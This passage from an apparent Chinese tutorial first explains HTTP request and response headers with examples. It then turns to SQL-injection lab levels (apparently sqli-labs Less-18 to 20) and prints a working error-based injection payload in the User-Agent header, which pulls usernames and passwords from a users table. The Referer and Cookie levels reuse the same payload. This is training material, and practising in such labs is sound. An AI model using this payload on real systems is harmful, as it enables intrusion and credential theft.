  • Content-EncodingWeb服务器表明自己使用了什么压缩函数【gzip、deflate压缩响应 中的对象。如Content-Encoding: gzip
  • Content-LanguageWeb服务器告诉客户端自己响应的对象的语言。
  • Content-LengthWeb服务器告诉客户端自己响应的对象的长度。如Content-Length: 26012
  • Content-RangeWeb服务器表明该响应包含的部分对象为整个对象的哪个部分。如Content-Range: bytes 21010-47021/47022
  • Content-TypeWeb服务器告诉客户端自己响应的对象的类型。如Content-Type: application/xml
  • ETag:就是一个对象【如URL的标志值,就一个对象而言,比如一个html文件, 如果被修改了,其Etag也会别修改,所以ETag的作用跟Last-Modified的作用差不多,主 要供Web服务器判断一个对象是否改变了。比如前一次请求某个html文件时,获得了其ETag,当这次又请求这个文件时,客户端就会把先前获得的ETag值发送给Web服务器, 然后Web服务器会把这个ETag跟该文件的当前ETag进行对比,然后就知道这个文件有没有改变了。
  • ExpiredWeb服务器表明该实体将在什么时候过期,对于过期了的对象,只有在跟Web服务器验证了其有效性后,才能用来响应客户请求,HTTP/1.0的头部。如Expires: Sat, 23 May 2009 10:02:12 GMT
  • Host:客户端指定自己想访问的Web服务器的Domain/IP地址和端口号。如Host: southsea.st
  • If-Match:如果对象的ETag没有改变,其实也就意味著对象没有改变,才执行请求的动作。
  • If-None-Match:如果对象的ETag改变了,其实也就意味著对象也改变了,才执行请求的动作。
  • If-Modified-Since:如果请求的对象在该头部指定的时间之后修改了,才执行请求的动作【比如返回对象,否则返回代码304,告诉客户端该对象没有修改。如If-Modified-Since: Thu, 10 Apr 2008 09:14:42 GMT
  • If-Unmodified-Since:如果请求的对象在该头部指定的时间之后没修改过,才执行请求的动作【比如返回对象。
  • If-Range:客户端告诉Web服务器,如果我请求的对象没有改变,就把我缺少的部分给我,如果对象改变了,就把整个对象给我。客户端通过发送请求对象的ETag或者自己所知道的最后修改时间给Web服务器,让其判断对象是否改变了。总是跟Range头部一起使用。
  • Last-ModifiedWeb服务器认为对象的最后修改时间,比如文件的最后修改时间,动态页面的最后产生时间等等。如Last-Modified: Tue, 06 May 2008 02:42:43 GMT
  • LocationWeb服务器告诉客户端,试图访问的对象已经被移到别的位置了,到该头部指定的位置去取。例如: Location: https://southsea.st
  • Pramga:主要使用Pramga: no-cache,相当于Cache-Control: no-cache。如Pragma: no-cache
  • Proxy-Authenticate:代理服务器响应客户端,要求其提供代理身份验证信息。Proxy-Authorization:客户端响应代理服务器的身份验证请求,提供自己的身份信息。
  • Range:客户端【比如Flashget多线程下载时告诉Web服务器自己想取对象的哪部分。如Range: bytes=1173546-
  • Referer:客户端向Web服务器表明自己访问当前请求的来源。如Referer: https://southsea.st
  • ServerWeb服务器表明自己是什么软件及版本等信息。如Server: Apache/2.0.61(Unix)
  • User-Agent:客户端表明自己的身份【哪种客户端。如Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36
  • Transfer-EncodingWeb服务器表明自己对本响应消息体【不是消息体里面的对象作了怎样的编码,比如是否分块【chunked。如Transfer-Encoding: chunked
  • VaryWeb服务器用该头部的内容告诉Cache服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源Web服务器在接到第一个请求消息时,其响应消息的头部为Content-Encoding: gzip; Vary: Content-Encoding,那么Cache服务器会分析后续请求消息的头部,检查其Accept-Encoding,是否跟先前响应的Vary头部值一致,即是否使用相同的内容编码函数,这样就可以防止Cache服务器用自己Cache里面压缩后的实体响应给不具备解压能力的客户端。如Vary: Accept-Encoding
  • Via:列出从客户端到OCS或者相反方向的响应经过了哪些代理服务器,他们用什么协议【版本发送的请求。当客户端请求到达第一个代理服务器时,该服务器会在自己发出的请求里面添加Via头部,并填上自己的相关信息,当下一个代理服务器收到第一个代理服务器的请求时,会在自己发出的请求里面复制前一个代理服务器的请求的Via头部,并 把自己的相关信息加到后面,以此类推,当OCS收到最后一个代理服务器的请求时,检查Via头部,就知道该请求所经过的路由。如Via: 1.0 236.D0707195.sina.com.cn:80(squid/2.6.STABLE13)

根据提示,修改User-Agent的值来注入。

1
User-Agent: 1' and extractvalue(1,concat('~',(select * from (select concat_ws(',',id,username,password) from users limit 0,1) a))) and '1'='1

Less-19 基于错误的POST Referer注入

根据提示,修改Referer的值如上。

Less-20 基于错误的POST Cookie注入

根据提示,修改Cookie的值如上。